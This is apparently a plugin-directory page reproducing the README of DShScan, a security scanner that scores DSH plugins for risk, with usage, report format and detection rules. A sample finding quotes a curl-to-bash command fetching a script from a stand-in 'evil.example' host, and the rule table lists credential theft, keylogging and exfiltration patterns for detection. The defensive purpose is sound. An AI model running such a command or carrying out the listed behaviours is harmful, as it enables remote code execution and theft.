编者按

shaoshi20/dshscan

DShScan - DSH plugin security scanner inspired by NVIDIA SkillSpector

这是一个 DeepSeek Harness(DSH)插件。本站汇总其 GitHub README、安装信息、维护状态与公开安全信号。

DShScan

CI Release License dshbase

DSH 插件安全审查器(DShScan),模仿 NVIDIA SkillSpector 机制,为 dshbase.com 插件目录中的 DSH 插件提供风险评分、严重等级、证据清单和安装建议。

插件市场

已收录于 dshbase 插件目录

https://dshbase.com/plugins/@shaoshi/dshscan/

作为 DSH 插件安装:

dsh plugin add @shaoshi/dshscan

功能

  • 输入:插件名 / GitHub 仓库地址 / 本地目录 / zip / Markdown 文件
  • 输出:JSON 报告,包含 risk_scoreseveritysafe_to_installrecommendationfindings
  • 双通道扫描
    • 静态规则扫描(完全离线)
    • 可选 LLM 语义扫描(需 API Key)
  • dshbase 集成:输入插件名时自动读取本地索引元数据(stars / trust / verified / npm / cmd)
  • npm 源码扫描:npm 插件可自动 npm pack 下载并扫描包内容
  • 误报处理:每条 finding 都带证据 + 修复建议
  • 批量扫描:支持对 dshbase 插件目录批量扫描并输出汇总 JSON

安装与构建

cd path/to/dshscan
npm install
npm run build

构建后生成 dist/main.js,可通过 dshscan.cmdnode dist/main.js 调用。

使用

# 扫描 dshbase 插件(按名称自动查索引,并尝试 clone 源码)
dshscan <plugin-name>
dshscan another-plugin

# 扫描 GitHub 仓库
dshscan github:owner/repo
dshscan https://github.com/owner/repo

# 扫描本地目录 / zip / md
dshscan /path/to/plugin
dshscan plugin.zip
dshscan README.md

# 仅离线扫描(不 clone 远程仓库,只给索引元数据 + 静态限制说明)
dshscan <plugin-name> --offline

# 启用 LLM 语义扫描(需要设置 DSCAN_LLM_API_KEY 或 OPENAI_API_KEY)
dshscan <plugin-name> --semantic

# 自定义 LLM 接入
dshscan <plugin-name> --semantic --llm-base-url https://api.openai.com/v1 --llm-model gpt-4o-mini

# 输出到文件
dshscan <plugin-name> --output report.json --pretty

# 输出人类可读摘要
dshscan <plugin-name> --summary

# 批量扫描 dshbase 插件(默认离线,按 stars 取前 N)
dshscan --batch --limit 50 --index /path/to/dshbase-directory.json --output batch.json --pretty

# 批量扫描全部插件(离线)
dshscan --batch --all --offline --output all.json

环境变量

变量用途默认
DSCAN_INDEXdshbase 插件索引 JSON 路径~/.dsh/dshbase-directory.json(可用环境变量覆盖)
DSCAN_LLM_API_KEY语义扫描 API Key无(未设置则仅静态扫描)
OPENAI_API_KEY备选 API Key
DSCAN_LLM_BASE_URLOpenAI 兼容接口地址https://api.openai.com/v1
DSCAN_LLM_MODEL语义分析模型gpt-4o-mini

JSON 报告格式

{
  "tool": "DShScan",
  "version": "0.2.1",
  "target": {
    "kind": "plugin",
    "raw": "some-plugin",
    "displayName": "some-plugin",
    "repoUrl": "https://github.com/owner/some-plugin.git",
    "metadata": {
      "name": "some-plugin",
      "stars": 120,
      "trust": "silver",
      "verified": true,
      "npm": false,
      "cmd": "dsh plugin add github:owner/some-plugin"
    }
  },
  "risk_score": 0,
  "severity": "low",
  "safe_to_install": true,
  "recommendation": "风险较低,可以安装;仍建议保持插件更新并定期复查。",
  "findings": [],
  "llm_used": false,
  "scan_mode": "static",
  "scan_note": "仅静态扫描,非完整扫描。",
  "metadata": {
    "name": "some-plugin",
    "stars": 120,
    "trust": "silver",
    "verified": true,
    "npm": false,
    "cmd": "dsh plugin add github:owner/some-plugin"
  }
}

finding 对象

{
  "id": "R001",
  "severity": "critical",
  "category": "remote-code-execution",
  "title": "Remote script piped to shell",
  "evidence": "install.sh:12: curl -fsSL https://evil.example/x.sh | bash",
  "recommendation": "Remove remote-pipe-to-shell installers. Vendor the script, pin a checksum, and review before execution.",
  "source": "static",
  "rule": "R001"
}

严重等级与风险分

risk_scoreseverity
0–29low
30–59medium
60–79high
80–100critical

safe_to_installtrue 仅当:没有 high/critical finding,且 risk_score < 40

计分方式:每个类别只取最高严重级的权重(critical=50 / high=30 / medium=15 / low=5), 同一类别的重复命中(如 40 处 chmod)不叠加,类别间求和后封顶 100——避免噪音把分数顶满。

上下文衰减:命中在以下文件里会降一级严重级(文档/测试是描述性的,信号置信度低):

  • 文档(.md / .markdown / .txt / .rst)——R008(提示注入,本身针对文档)除外
  • 测试代码(test(s)/ 目录、*.test.**_test.*test_*
  • 构建镜像(Dockerfile*docker-compose*.yml

以下目录完全不扫描:.github / .circleci / .gitlabthird_party / vendor 等 vendored 依赖、 node_modules / dist / build 等构建产物。

静态规则

ID严重等级类别
R001critical远程脚本管道执行
R002high动态代码执行(独立 eval、shell eval "..."new Functionvm 逃逸、os.systemchild_process.exec
R002bmediumshell: true / shell=True(单独出现的弱信号)
R003high混淆代码
R004mediumHTTP 明文网络端点(排除模板插值、命名空间 URI、本地/示例域名)
R004bmedium硬编码公网 IP 回调(排除私网/环回段)
R005high凭据读取/窃取
R006high持久化/提权(仅强信号:chmod 777systemctl enable、注册表 Run 键、schtaskslaunchctlcrontab -e--unsafe-perm
R007medium远程包安装源
R008criticalREADME 提示注入
R009medium/highpackage.json 生命周期脚本
R010highDSH:cordis.patch.yml 插件树注入(insert 危险 loader / 禁用安全行)
R011highDSH:client.mjs 浏览器侧恶意代码(sendBeacon、键盘记录、DOM 注入、外连)
R012criticalDSH:profile 配置篡改(禁用安全行、添加可疑 bundle、写/执行 profile 文件)
M001–M005low/high索引元数据风险信号(M005=疑似 typosquatting)
E001–E005medium/high扫描限制/输入错误

DSH 特有攻击面

  • R010 cordis.patch.yml 插件树注入:插件自带的 cordis.patch.yml 如果 insert@deepseek-ai/dsh-mcp-clientcordis-plugin-group 等 loader 行,或把 tool-bashapprovalpermission 等安全行 disabled: true,属于高风险插件树篡改。
  • R011 client.mjs 浏览器侧恶意代码:DSH 插件可以注入 Web 客户端代码;检测 sendBeacon 外传、键盘/输入监听、剪贴板读取、innerHTML 注入、postMessage *、外连 WebSocket/fetch 等浏览器侧恶意行为。
  • R012 profile 配置篡改:插件如果试图修改 cordis.yml / cordis.patch.yml / package.jsondsh.profile.bundles / pnpm-workspace.yaml,或通过代码写/执行 ~/.dsh、profiles、patch 文件,属于严重供应链风险。

测试

npm test

基于 Node 内置 test runner(node --test),覆盖规则命中/反例、上下文衰减、 计分封顶、路径分类与恶意样例端到端判定。

说明

  • verified=true 仅表示 dshbase CI 可安装,不等于安全审计。
  • 静态扫描无需网络;但扫描 GitHub 仓库时获取源码需要网络(可用 --offline 跳过)。
  • 低风险但未启用语义扫描时,报告会标注 scan_mode: "static""仅静态扫描,非完整扫描"
  • 报告超过 100 条 finding 时只展示按严重级排序的前 100 条,并置 findings_truncated: true(计分与安装建议仍基于全量)。
  • 索引文件缺失/损坏不会导致崩溃:自动降级为无元数据通道并提示(可用 DSCAN_INDEX 指向你自己的索引)。
REPOSITORY SIGNALS

安全与安装证据

该分数只基于公开仓库元数据与本站登记的安装证据,不等同于代码安全审计。

来源可追溯

来自公开插件目录,并链接到公开 GitHub 仓库。

许可证

仓库声明 MIT 许可证。

维护活跃度

最近 180 天内有代码更新。

安装证据

尚未登记可复验的精确安装元数据,请按仓库说明手动检查。

安装生命周期脚本

已检查的包元数据未声明安装生命周期脚本。